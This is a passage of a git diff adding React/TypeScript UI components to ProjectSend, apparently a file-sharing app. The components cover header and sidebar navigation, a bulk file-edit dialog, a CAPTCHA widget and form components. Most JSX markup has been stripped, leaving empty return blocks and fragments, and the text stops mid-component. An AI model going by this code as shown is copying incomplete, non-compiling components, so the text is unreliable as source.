+ ))} +
+
+ ); + })} +
+ + +
+ +
+ + setValue('expires_in_days', Number(e.target.value))} + className="max-w-32" + /> +
+ setValue('never_expires', checked === true)} + /> + +
+ {values.never_expires && ( +

+ {t('A token that never expires stays valid until someone revokes it by hand. Prefer a date you can forget about safely.')} +

+ )} + +
+ + ); +} diff --git a/resources/js/components/app-content.tsx b/resources/js/components/app-content.tsx new file mode 100644 index 00000000..ae43d9e6 --- /dev/null +++ b/resources/js/components/app-content.tsx @@ -0,0 +1,18 @@ +import { SidebarInset } from '@/components/ui/sidebar'; +import * as React from 'react'; + +interface AppContentProps extends React.ComponentProps<'div'> { + variant?: 'header' | 'sidebar'; +} + +export function AppContent({ variant = 'header', children, ...props }: AppContentProps) { + if (variant === 'sidebar') { + return {children}; + } + + return ( +
+ {children} +
+ ); +} diff --git a/resources/js/components/app-header.tsx b/resources/js/components/app-header.tsx new file mode 100644 index 00000000..45a2e9e4 --- /dev/null +++ b/resources/js/components/app-header.tsx @@ -0,0 +1,182 @@ +import { Breadcrumbs } from '@/components/breadcrumbs'; +import { Icon } from '@/components/icon'; +import { Avatar, AvatarFallback, AvatarImage } from '@/components/ui/avatar'; +import { Button } from '@/components/ui/button'; +import { DropdownMenu, DropdownMenuContent, DropdownMenuTrigger } from '@/components/ui/dropdown-menu'; +import { NavigationMenu, NavigationMenuItem, NavigationMenuList, navigationMenuTriggerStyle } from '@/components/ui/navigation-menu'; +import { Sheet, SheetContent, SheetHeader, SheetTitle, SheetTrigger } from '@/components/ui/sheet'; +import { Tooltip, TooltipContent, TooltipProvider, TooltipTrigger } from '@/components/ui/tooltip'; +import { UserMenuContent } from '@/components/user-menu-content'; +import { useInitials } from '@/hooks/use-initials'; +import { cn } from '@/lib/utils'; +import { type BreadcrumbItem, type NavItem, type SharedData } from '@/types'; +import { Link, usePage } from '@inertiajs/react'; +import { BookOpen, Folder, LayoutGrid, Menu, Search } from 'lucide-react'; +import AppLogo from './app-logo'; +import AppLogoIcon from './app-logo-icon'; + +const mainNavItems: NavItem[] = [ + { + title: 'Dashboard', + url: '/dashboard', + icon: LayoutGrid, + }, +]; + +const rightNavItems: NavItem[] = [ + { + title: 'Repository', + url: 'https://github.com/laravel/react-starter-kit', + icon: Folder, + }, + { + title: 'Documentation', + url: 'https://laravel.com/docs/starter-kits', + icon: BookOpen, + }, +]; + +const activeItemStyles = 'text-neutral-900 dark:bg-neutral-800 dark:text-neutral-100'; + +interface AppHeaderProps { + breadcrumbs?: BreadcrumbItem[]; +} + +export function AppHeader({ breadcrumbs = [] }: AppHeaderProps) { + const page = usePage(); + const { auth } = page.props; + const getInitials = useInitials(); + return ( + <> +
+
+ {/* Mobile Menu */} +
+ + + + + + Navigation Menu + + + +
+
+
+ {mainNavItems.map((item) => ( + + {item.icon && } + {item.title} + + ))} +
+ +
+ {rightNavItems.map((item) => ( + + {item.icon && } + {item.title} + + ))} +
+
+
+
+
+
+ + + + + + {/* Desktop Navigation */} +
+ + + {mainNavItems.map((item, index) => ( + + + {item.icon && } + {item.title} + + {page.url === item.url && ( +
+ )} +
+ ))} +
+
+
+ +
+
+ +
+ {rightNavItems.map((item) => ( + + + + + {item.title} + {item.icon && } + + + +

{item.title}

+
+
+
+ ))} +
+
+ + + + + + + + +
+
+
+ {breadcrumbs.length > 1 && ( +
+
+ +
+
+ )} + + ); +} diff --git a/resources/js/components/app-logo-icon.tsx b/resources/js/components/app-logo-icon.tsx new file mode 100644 index 00000000..e8ec9d59 --- /dev/null +++ b/resources/js/components/app-logo-icon.tsx @@ -0,0 +1,25 @@ +import { SVGAttributes, useId } from 'react'; + +/** + * The ProjectSend mark (no wordmark), with its brand gradient. + */ +export default function AppLogoIcon(props: SVGAttributes) { + const gradientId = useId(); + + return ( + + + + + + + + + + + + ); +} diff --git a/resources/js/components/app-logo.tsx b/resources/js/components/app-logo.tsx new file mode 100644 index 00000000..488d5662 --- /dev/null +++ b/resources/js/components/app-logo.tsx @@ -0,0 +1,18 @@ +import { SharedData } from '@/types'; +import { usePage } from '@inertiajs/react'; +import AppLogoIcon from './app-logo-icon'; + +export default function AppLogo() { + const { name, branding } = usePage().props; + + return ( + <> +
+ {branding?.logo_url ? : } +
+
+ {name} +
+ + ); +} diff --git a/resources/js/components/app-shell.tsx b/resources/js/components/app-shell.tsx new file mode 100644 index 00000000..1e576119 --- /dev/null +++ b/resources/js/components/app-shell.tsx @@ -0,0 +1,29 @@ +import { SidebarProvider } from '@/components/ui/sidebar'; +import { useState } from 'react'; + +interface AppShellProps { + children: React.ReactNode; + variant?: 'header' | 'sidebar'; +} + +export function AppShell({ children, variant = 'header' }: AppShellProps) { + const [isOpen, setIsOpen] = useState(() => (typeof window !== 'undefined' ? localStorage.getItem('sidebar') !== 'false' : true)); + + const handleSidebarChange = (open: boolean) => { + setIsOpen(open); + + if (typeof window !== 'undefined') { + localStorage.setItem('sidebar', String(open)); + } + }; + + if (variant === 'header') { + return
{children}
; + } + + return ( + + {children} + + ); +} diff --git a/resources/js/components/app-sidebar-header.tsx b/resources/js/components/app-sidebar-header.tsx new file mode 100644 index 00000000..edddbc47 --- /dev/null +++ b/resources/js/components/app-sidebar-header.tsx @@ -0,0 +1,24 @@ +import { AppearanceSwitcher } from '@/components/appearance-switcher'; +import { Breadcrumbs } from '@/components/breadcrumbs'; +import { IconLocaleSwitcher } from '@/components/locale-switcher'; +import { NotificationBell } from '@/components/notification-bell'; +import { SidebarTrigger } from '@/components/ui/sidebar'; +import { UpdateAvailableIcon } from '@/components/update-available-icon'; +import { type BreadcrumbItem as BreadcrumbItemType } from '@/types'; + +export function AppSidebarHeader({ breadcrumbs = [] }: { breadcrumbs?: BreadcrumbItemType[] }) { + return ( +
+
+ + +
+
+ + + + +
+
+ ); +} diff --git a/resources/js/components/app-sidebar.tsx b/resources/js/components/app-sidebar.tsx new file mode 100644 index 00000000..49b93a90 --- /dev/null +++ b/resources/js/components/app-sidebar.tsx @@ -0,0 +1,309 @@ +import { NavMain } from '@/components/nav-main'; +import { NavUser } from '@/components/nav-user'; +import { PoweredBy } from '@/components/powered-by'; +import { Sidebar, SidebarContent, SidebarFooter, SidebarHeader, SidebarMenu, SidebarMenuButton, SidebarMenuItem } from '@/components/ui/sidebar'; +import { useTranslation } from '@/hooks/use-translation'; +import { type NavGroup, type SharedData } from '@/types'; +import { Link, usePage } from '@inertiajs/react'; +import { + Activity, + ArrowLeftRight, + BookOpen, + Boxes, + Contact, + Download, + FileCode, + FileText, + FileWarning, + History, + KeyRound, + LayoutGrid, + ListChecks, + MessageSquare, + Settings, + ShieldCheck, + Tags, + Upload, + UserCheck, + UserPlus, + Users, +} from 'lucide-react'; +import AppLogo from './app-logo'; + +export function AppSidebar() { + const { t } = useTranslation(); + const { auth, capabilities, pending, version } = usePage().props; + + // Modules (Files, Clients, Groups…) add their own groups here as + // they land, mirroring v1's grouped admin menu. + const groups: NavGroup[] = [ + { + title: t('Platform'), + items: [ + { + title: t('Dashboard'), + url: '/dashboard', + icon: LayoutGrid, + }, + ], + }, + ]; + + // Visibility follows the user's granted permissions; the backend + // gates (staff + can: middleware) are the real enforcement. Staff + // surfaces never appear for clients regardless of granted keys. + const isStaff = auth.user.type === 'staff'; + const can = (permission: string) => isStaff && auth.permissions.includes(permission); + + if (auth.user.type === 'client') { + groups[0].items.push({ + title: t('My files'), + url: '/my-files', + icon: FileText, + }); + if (auth.permissions.includes('upload')) { + groups[0].items.push({ + title: t('Upload'), + url: '/my-files/upload', + icon: Upload, + }); + } + groups[0].items.push({ + title: t('My groups'), + url: '/my-groups', + icon: Boxes, + }); + } + + const fileItems: NavGroup['items'] = []; + if (can('upload')) { + fileItems.push({ title: t('All files'), url: '/files', icon: FileText }); + fileItems.push({ title: t('Upload'), url: '/files/upload', icon: Upload }); + } + if (can('create_categories') || can('edit_categories') || can('delete_categories')) { + fileItems.push({ title: t('Categories'), url: '/categories', icon: Tags }); + } + if (can('import_orphans')) { + fileItems.push({ title: t('Import orphan files'), url: '/files/orphans', icon: FileWarning }); + } + if (can('moderate_comments')) { + // Just "Comments" — the old "Comments awaiting approval" wrapped + // and pushed its own count badge out of the sidebar, and the screen + // is no longer only about approving. + fileItems.push({ title: t('Comments'), url: '/comments', icon: MessageSquare, badge: pending.comments }); + } + // Sits with the files rather than under Administration: it answers + // "who took this file", which is a question about the library, not + // about the installation. Still gated on view_actions_log — moving + // where it appears must not change who may see it. + if (can('view_actions_log')) { + fileItems.push({ title: t('Download history'), url: '/downloads', icon: Download }); + } + if (fileItems.length > 0) { + groups.push({ title: t('Files'), items: fileItems }); + } + + const clientItems: NavGroup['items'] = []; + + if (can('manage_clients')) { + clientItems.push({ + title: t('Clients'), + url: '/clients', + icon: Contact, + }); + } + + if (can('manage_custom_fields')) { + clientItems.push({ + title: t('Custom fields'), + url: '/client-custom-fields', + icon: ListChecks, + }); + } + + if (can('manage_groups')) { + clientItems.push({ + title: t('Groups'), + url: '/groups', + icon: Boxes, + }); + } + + if (can('approve_account_requests')) { + clientItems.push({ + title: t('Account requests'), + url: '/account-requests', + icon: UserPlus, + badge: pending.account_requests, + }); + } + + if (can('approve_groups_memberships_requests')) { + clientItems.push({ + title: t('Membership requests'), + url: '/membership-requests', + icon: UserCheck, + badge: pending.membership_requests, + }); + } + + if (clientItems.length > 0) { + groups.push({ + title: t('Clients'), + items: clientItems, + }); + } + + const adminItems: NavGroup['items'] = []; + + if (can('manage_users') && capabilities.includes('users.manage')) { + adminItems.push({ + title: t('System users'), + url: '/users', + icon: Users, + }); + adminItems.push({ + title: t('Roles'), + url: '/roles', + icon: ShieldCheck, + }); + adminItems.push({ + title: t('Convert accounts'), + url: '/users/convert', + icon: ArrowLeftRight, + }); + } + + if (can('view_actions_log')) { + adminItems.push({ + title: t('Activity log'), + url: '/activity', + icon: History, + }); + } + + if ((can('create_assets') || can('edit_assets') || can('delete_assets')) && capabilities.includes('custom_assets.manage')) { + adminItems.push({ + title: t('Custom assets'), + url: '/system/settings/custom-assets', + icon: FileCode, + }); + } + + const canCustomizeBranding = can('edit_settings') && capabilities.includes('branding.customize'); + + // The API surface gets a group of its own rather than living under + // Settings: tokens are per-account credentials and the dashboard is + // usage, neither of which is configuration. Staff-only, since /api/v1 + // is staff-only. + if (isStaff) { + groups.push({ + title: t('API'), + items: [ + { title: t('Dashboard'), url: '/api', icon: Activity }, + { title: t('Documentation'), url: '/api/docs', icon: BookOpen }, + { title: t('Tokens'), url: '/settings/api-tokens', icon: KeyRound }, + ], + }); + } + + if (can('edit_settings') || can('edit_email_templates') || canCustomizeBranding) { + const settingsItems = []; + + if (can('edit_settings')) { + settingsItems.push( + { title: t('General'), url: '/system/settings/general' }, + { title: t('Security'), url: '/system/settings/security' }, + { title: t('Clients'), url: '/system/settings/clients' }, + { title: t('Uploads'), url: '/system/settings/uploads' }, + { title: t('File retention'), url: '/system/settings/file-retention' }, + { title: t('Comments'), url: '/system/settings/comments' }, + { title: t('Email'), url: '/system/settings/email' }, + { title: t('LDAP'), url: '/system/settings/ldap' }, + { title: t('Social login'), url: '/system/settings/social-login' }, + { title: t('CAPTCHA'), url: '/system/settings/captcha' }, + { title: t('Privacy'), url: '/system/settings/privacy' }, + { title: t('Public listing'), url: '/system/settings/public-listing' }, + { title: t('Theming'), url: '/system/settings/theming' }, + { title: t('Languages'), url: '/system/settings/languages' }, + ); + + if (capabilities.includes('storage.configure')) { + settingsItems.push({ title: t('Storage'), url: '/system/settings/storage' }); + } + + if (capabilities.includes('scheduler.monitoring')) { + settingsItems.push({ title: t('Scheduler'), url: '/system/settings/scheduler' }); + } + } + + if (can('edit_email_templates')) { + settingsItems.push({ title: t('Email templates'), url: '/system/settings/email-templates' }); + } + + if (canCustomizeBranding) { + settingsItems.push({ title: t('Branding'), url: '/system/settings/branding' }); + } + + if (can('edit_settings')) { + settingsItems.push({ title: t('About'), url: '/system/about' }); + } + + adminItems.push({ + title: t('Settings'), + icon: Settings, + items: settingsItems, + }); + } + + if (adminItems.length > 0) { + groups.push({ + title: t('Administration'), + items: adminItems, + }); + } + + return ( + + + + + + + + + + + + + + + + + + + + + {/* Staff get the exact release, linked to /system/about — + which is also how someone without edit_settings reaches + that page, since they never see the Settings submenu. + Clients reach this shell through the Default portal + theme, and get the version-less line every other + client-facing surface shows. Both hide when the sidebar + collapses to icons. */} +
+ {isStaff ? ( + + ProjectSend {version} + + ) : ( + + )} +
+
+
+ ); +} diff --git a/resources/js/components/appearance-switcher.tsx b/resources/js/components/appearance-switcher.tsx new file mode 100644 index 00000000..01e60cdf --- /dev/null +++ b/resources/js/components/appearance-switcher.tsx @@ -0,0 +1,45 @@ +import { Button } from '@/components/ui/button'; +import { DropdownMenu, DropdownMenuContent, DropdownMenuItem, DropdownMenuTrigger } from '@/components/ui/dropdown-menu'; +import { Appearance, useAppearance } from '@/hooks/use-appearance'; +import { useTranslation } from '@/hooks/use-translation'; +import { Check, Monitor, Moon, Sun } from 'lucide-react'; + +function useAppearanceOptions() { + const { t } = useTranslation(); + const { appearance, updateAppearance } = useAppearance(); + + const options: { value: Appearance; label: string; icon: typeof Sun }[] = [ + { value: 'light', label: t('Light'), icon: Sun }, + { value: 'dark', label: t('Dark'), icon: Moon }, + { value: 'system', label: t('System'), icon: Monitor }, + ]; + + const current = options.find((option) => option.value === appearance) ?? options[2]; + + return { options, current, appearance, updateAppearance }; +} + +/** Icon-only trigger for header bars — the dropdown content carries the labels. */ +export function AppearanceSwitcher() { + const { t } = useTranslation(); + const { options, current, appearance, updateAppearance } = useAppearanceOptions(); + + return ( + + + + + + {options.map((option) => ( + updateAppearance(option.value)}> + + {option.label} + {option.value === appearance && } + + ))} + + + ); +} diff --git a/resources/js/components/breadcrumbs.tsx b/resources/js/components/breadcrumbs.tsx new file mode 100644 index 00000000..d92b4c16 --- /dev/null +++ b/resources/js/components/breadcrumbs.tsx @@ -0,0 +1,31 @@ +import { Breadcrumb, BreadcrumbItem, BreadcrumbLink, BreadcrumbList, BreadcrumbPage, BreadcrumbSeparator } from '@/components/ui/breadcrumb'; +import { type BreadcrumbItem as BreadcrumbItemType } from '@/types'; +import { Fragment } from 'react'; + +export function Breadcrumbs({ breadcrumbs }: { breadcrumbs: BreadcrumbItemType[] }) { + return ( + <> + {breadcrumbs.length > 0 && ( + + + {breadcrumbs.map((item, index) => { + const isLast = index === breadcrumbs.length - 1; + return ( + + + {isLast ? ( + {item.title} + ) : ( + {item.title} + )} + + {!isLast && } + + ); + })} + + + )} + + ); +} diff --git a/resources/js/components/bulk-edit-files-dialog.tsx b/resources/js/components/bulk-edit-files-dialog.tsx new file mode 100644 index 00000000..38039cdf --- /dev/null +++ b/resources/js/components/bulk-edit-files-dialog.tsx @@ -0,0 +1,327 @@ +import { Button } from '@/components/ui/button'; +import { Dialog, DialogClose, DialogContent, DialogDescription, DialogFooter, DialogTitle, DialogTrigger } from '@/components/ui/dialog'; +import { Input } from '@/components/ui/input'; +import { Label } from '@/components/ui/label'; +import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from '@/components/ui/select'; +import { useTranslation } from '@/hooks/use-translation'; +import { categoryColor } from '@/lib/category-colors'; +import { X } from 'lucide-react'; +import { ReactNode, useState } from 'react'; + +export interface BulkEditFolderOption { + id: number; + name: string; +} + +export interface BulkEditCategory { + id: number; + name: string; + color: string; +} + +export interface BulkEditPayload { + folder_action: 'no_change' | 'move'; + folder_id: number | null; + description_action: 'no_change' | 'set'; + description: string; + expiration_action: 'no_change' | 'set' | 'clear'; + expires_at: string; + download_limit_action: 'no_change' | 'set' | 'clear'; + download_limit: string; + download_limit_scope: 'total' | 'per_user'; + add_category_ids: number[]; + remove_category_ids: number[]; +} + +interface BulkEditFilesDialogProps { + /** The button that opens the dialog. */ + trigger: ReactNode; + count: number; + folderOptions: BulkEditFolderOption[]; + categories: BulkEditCategory[]; + canSetCategories: boolean; + canSetExpiration: boolean; + canLimitDownloads: boolean; + onConfirm: (payload: BulkEditPayload) => void; +} + +const NO_CHANGE = 'no_change'; + +/** + * WordPress-style "Bulk Edit": one shared form applied identically to every + * selected file. Every field defaults to "no change" so submitting without + * touching a field never overwrites it — critical for categories, where an + * empty list must never mean "clear every category." + */ +export function BulkEditFilesDialog({ + trigger, + count, + folderOptions, + categories, + canSetCategories, + canSetExpiration, + canLimitDownloads, + onConfirm, +}: BulkEditFilesDialogProps) { + const { t } = useTranslation(); + const [open, setOpen] = useState(false); + + const [folderValue, setFolderValue] = useState(NO_CHANGE); + const [descriptionAction, setDescriptionAction] = useState<'no_change' | 'set'>(NO_CHANGE); + const [description, setDescription] = useState(''); + const [expirationAction, setExpirationAction] = useState<'no_change' | 'set' | 'clear'>(NO_CHANGE); + const [expiresAt, setExpiresAt] = useState(''); + const [downloadLimitAction, setDownloadLimitAction] = useState<'no_change' | 'set' | 'clear'>(NO_CHANGE); + const [downloadLimit, setDownloadLimit] = useState(''); + const [downloadLimitScope, setDownloadLimitScope] = useState<'total' | 'per_user'>('total'); + const [addCategoryIds, setAddCategoryIds] = useState([]); + const [removeCategoryIds, setRemoveCategoryIds] = useState([]); + + const reset = () => { + setFolderValue(NO_CHANGE); + setDescriptionAction(NO_CHANGE); + setDescription(''); + setExpirationAction(NO_CHANGE); + setExpiresAt(''); + setDownloadLimitAction(NO_CHANGE); + setDownloadLimit(''); + setDownloadLimitScope('total'); + setAddCategoryIds([]); + setRemoveCategoryIds([]); + }; + + const addCategory = (id: number) => { + setAddCategoryIds((current) => [...current, id]); + setRemoveCategoryIds((current) => current.filter((x) => x !== id)); + }; + const removeCategoryToAdd = (id: number) => setAddCategoryIds((current) => current.filter((x) => x !== id)); + + const markForRemoval = (id: number) => { + setRemoveCategoryIds((current) => [...current, id]); + setAddCategoryIds((current) => current.filter((x) => x !== id)); + }; + const unmarkForRemoval = (id: number) => setRemoveCategoryIds((current) => current.filter((x) => x !== id)); + + const touchesNothing = + folderValue === NO_CHANGE && + descriptionAction === NO_CHANGE && + expirationAction === NO_CHANGE && + downloadLimitAction === NO_CHANGE && + addCategoryIds.length === 0 && + removeCategoryIds.length === 0; + + const categoryChip = (id: number, onRemove: () => void) => { + const category = categories.find((c) => c.id === id); + return ( + + {category?.name ?? id} + + + ); + }; + + return ( + { + setOpen(next); + if (!next) reset(); + }} + > + {trigger} + + {t('Bulk edit :count files', { count })} + {t('Only the fields you change here are applied — everything else is left as-is.')} + +
+
+ + +
+ +
+ + + {descriptionAction === 'set' && setDescription(e.target.value)} autoFocus />} +
+ + {canSetExpiration && ( +
+ + + {expirationAction === 'set' && setExpiresAt(e.target.value)} />} +
+ )} + + {canLimitDownloads && ( +
+ + + {downloadLimitAction === 'set' && ( + <> + setDownloadLimit(e.target.value)} /> + + + )} +
+ )} + + {canSetCategories && ( + <> +
+ + + {addCategoryIds.length > 0 && ( +
+ {addCategoryIds.map((id) => categoryChip(id, () => removeCategoryToAdd(id)))} +
+ )} +
+ +
+ + + {removeCategoryIds.length > 0 && ( +
+ {removeCategoryIds.map((id) => categoryChip(id, () => unmarkForRemoval(id)))} +
+ )} +
+ + )} +
+ + + + + + + +
+
+ ); +} diff --git a/resources/js/components/captcha-widget.tsx b/resources/js/components/captcha-widget.tsx new file mode 100644 index 00000000..18c12371 --- /dev/null +++ b/resources/js/components/captcha-widget.tsx @@ -0,0 +1,222 @@ +import { usePage } from '@inertiajs/react'; +import { forwardRef, useCallback, useEffect, useImperativeHandle, useRef, useState } from 'react'; + +import { useTranslation } from '@/hooks/use-translation'; +import { loadScript } from '@/lib/external-script'; +import { type CaptchaAction, type CaptchaProvider, type SharedData } from '@/types'; + +/** + * The three providers behave differently enough that letting the + * difference reach a form would mean writing it out four times: + * + * - reCAPTCHA v2 draws a checkbox the visitor ticks before submitting; + * - Turnstile draws a box that usually solves itself; + * - reCAPTCHA v3 draws nothing and mints a token at the moment of submit. + * + * So the contract is not "here is a token" but "ask me for one when you + * are ready to submit". A form awaits `execute()`, gets a string or null, + * and never learns which provider it is talking to. + */ +export interface CaptchaHandle { + /** A token for this submit, or null when this form is not protected. */ + execute: () => Promise; + /** + * Discard the current token and draw a fresh challenge. + * + * Every failed submit must call this. Tokens are single-use, so a + * login with a good token and a wrong password consumes it, and the + * retry would otherwise be refused with "already used" — a message + * about something the person did not do. + */ + reset: () => void; + /** Whether this form asks for a token at all on this installation. */ + required: boolean; +} + +interface CaptchaWidgetProps { + action: CaptchaAction; + className?: string; +} + +interface RecaptchaApi { + ready: (callback: () => void) => void; + render: (container: HTMLElement, parameters: Record) => number; + reset: (widgetId?: number) => void; + execute: (siteKey: string, options: { action: string }) => Promise; +} + +interface TurnstileApi { + render: (container: HTMLElement, parameters: Record) => string; + reset: (widgetId?: string) => void; + remove: (widgetId?: string) => void; +} + +declare global { + interface Window { + grecaptcha?: RecaptchaApi; + turnstile?: TurnstileApi; + } +} + +/** + * Mirrors CaptchaProvider::scriptUrl() on the server. `render=explicit` + * for the two that draw something: auto-rendering scans the page for a + * magic class name, which is what made two widgets on one page break in + * v1 and leaves us nothing to reset. + */ +function scriptUrl(provider: CaptchaProvider, siteKey: string): string { + switch (provider) { + case 'turnstile': + return 'https://challenges.cloudflare.com/turnstile/v0/api.js?render=explicit'; + case 'recaptcha_v2': + return 'https://www.google.com/recaptcha/api.js?render=explicit'; + case 'recaptcha_v3': + return `https://www.google.com/recaptcha/api.js?render=${encodeURIComponent(siteKey)}`; + } +} + +export const CaptchaWidget = forwardRef(function CaptchaWidget({ action, className }, ref) { + const { t } = useTranslation(); + const captcha = usePage().props.captcha; + + const required = captcha !== null && captcha.forms.includes(action); + const invisible = captcha?.provider === 'recaptcha_v3'; + + const container = useRef(null); + const widgetId = useRef(null); + const token = useRef(null); + const [failed, setFailed] = useState(false); + + const clearToken = useCallback(() => { + token.current = null; + }, []); + + useEffect(() => { + if (!required || !captcha) return; + + let cancelled = false; + setFailed(false); + + loadScript(scriptUrl(captcha.provider, captcha.site_key)) + .then(() => { + if (cancelled) return; + + // v3 draws nothing; there is nothing to render and the + // token is minted later, in execute(). + if (captcha.provider === 'recaptcha_v3') return; + + const node = container.current; + if (!node) return; + + if (captcha.provider === 'turnstile') { + widgetId.current = + window.turnstile?.render(node, { + sitekey: captcha.site_key, + // Echoed back by siteverify, which is how the + // server refuses a token minted on another form. + action, + callback: (value: string) => (token.current = value), + 'expired-callback': clearToken, + 'error-callback': clearToken, + }) ?? null; + + return; + } + + window.grecaptcha?.ready(() => { + if (cancelled || !container.current) return; + + widgetId.current = + window.grecaptcha?.render(container.current, { + sitekey: captcha.site_key, + callback: (value: string) => (token.current = value), + 'expired-callback': clearToken, + 'error-callback': clearToken, + }) ?? null; + }); + }) + .catch(() => { + if (!cancelled) setFailed(true); + }); + + return () => { + cancelled = true; + clearToken(); + + // Inertia keeps the document alive across navigations, so a + // widget left behind would leak and its id would go stale. + if (widgetId.current !== null) { + if (typeof widgetId.current === 'string') { + window.turnstile?.remove(widgetId.current); + } else { + window.grecaptcha?.reset(widgetId.current); + } + + widgetId.current = null; + } + }; + }, [required, captcha, action, clearToken]); + + useImperativeHandle( + ref, + () => ({ + required, + reset: () => { + clearToken(); + + if (widgetId.current === null) return; + + if (typeof widgetId.current === 'string') { + window.turnstile?.reset(widgetId.current); + } else { + window.grecaptcha?.reset(widgetId.current); + } + }, + execute: async () => { + if (!required || !captcha) return null; + + if (captcha.provider !== 'recaptcha_v3') return token.current; + + // v3 tokens live about two minutes, so minting one at page + // load — as v1 did — expires it on any form somebody + // stopped to think about. Mint it here, at submit. + const api = window.grecaptcha; + + if (!api) return null; + + return Promise.race([ + new Promise((resolve) => { + api.ready(() => { + api.execute(captcha.site_key, { action }) + .then(resolve) + .catch(() => resolve(null)); + }); + }), + new Promise((resolve) => setTimeout(() => resolve(null), 10000)), + ]); + }, + }), + [required, captcha, action, clearToken], + ); + + if (!required) return null; + + if (failed) { + return ( +

+ {t('The security check could not be loaded. Check that your browser or network is not blocking it, then reload the page.')} +

+ ); + } + + if (invisible) { + // Google requires this notice wherever the badge is not shown. + return ( +

+ {t('This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.')} +

+ ); + } + + return
; +}); diff --git a/resources/js/components/category-form.tsx b/resources/js/components/category-form.tsx new file mode 100644 index 00000000..5cdbbdf5 --- /dev/null +++ b/resources/js/components/category-form.tsx @@ -0,0 +1,49 @@ +import InputError from '@/components/input-error'; +import { Input } from '@/components/ui/input'; +import { Label } from '@/components/ui/label'; +import { useTranslation } from '@/hooks/use-translation'; +import { categoryColor } from '@/lib/category-colors'; + +interface CategoryFormProps { + name: string; + color: string; + colors: string[]; + onChange: (field: 'name' | 'color', value: string) => void; + errors: Partial>; +} + +export function CategoryForm({ name, color, colors, onChange, errors }: CategoryFormProps) { + const { t } = useTranslation(); + + return ( +
+
+ + onChange('name', e.target.value)} required autoFocus /> + +
+ +
+ +
+ {colors.map((value) => { + const def = categoryColor(value); + + return ( +
+ +
+
+ ); +} diff --git a/resources/js/components/client-custom-field-form.tsx b/resources/js/components/client-custom-field-form.tsx new file mode 100644 index 00000000..eddad76a --- /dev/null +++ b/resources/js/components/client-custom-field-form.tsx @@ -0,0 +1,148 @@ +import InputError from '@/components/input-error'; +import { Checkbox } from '@/components/ui/checkbox'; +import { Input } from '@/components/ui/input'; +import { Label } from '@/components/ui/label'; +import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from '@/components/ui/select'; +import { Textarea } from '@/components/ui/textarea'; +import { useTranslation } from '@/hooks/use-translation'; +import { type SetDataByKeyValuePair } from '@inertiajs/react'; + +export interface ClientCustomFieldFormData { + // No index signature: Inertia's setData key type is string-based, and + // `keyof` over a string index signature also yields `number`, which + // does not fit it. Dropping it fixes that and makes the key union + // real — with it, any string type-checked as a valid field name. + label: string; + type: string; + options: string[]; + required: boolean; + client_editability: string; + client_contexts: string[]; +} + +interface ClientCustomFieldFormProps { + data: ClientCustomFieldFormData; + types: string[]; + // Inertia's own setData signature rather than a hand-rolled generic: + // its key type is a dotted-path union (FormDataKeys), not plain keyof, + // so a bespoke `(k: K, v: T[K])` cannot be proven + // compatible and the page has to pass setData through unchanged. + onChange: SetDataByKeyValuePair; + errors: Partial>; +} + +const typeLabels: Record = { + text: 'Text', + textarea: 'Multi-line text', + select: 'Dropdown', + checkbox: 'Checkbox', +}; + +const editabilityLabels: Record = { + hidden: 'Hidden from client', + editable: 'Client can edit', + editable_once: 'Client can set once', +}; + +const contextLabels: Record = { + registration: 'Registration form', + account_edit: 'Account page', +}; + +export function ClientCustomFieldForm({ data, types, onChange, errors }: ClientCustomFieldFormProps) { + const { t } = useTranslation(); + + return ( +
+
+ + onChange('label', e.target.value)} required autoFocus /> + +
+ +
+ + + +
+ + {data.type === 'select' && ( +
+ +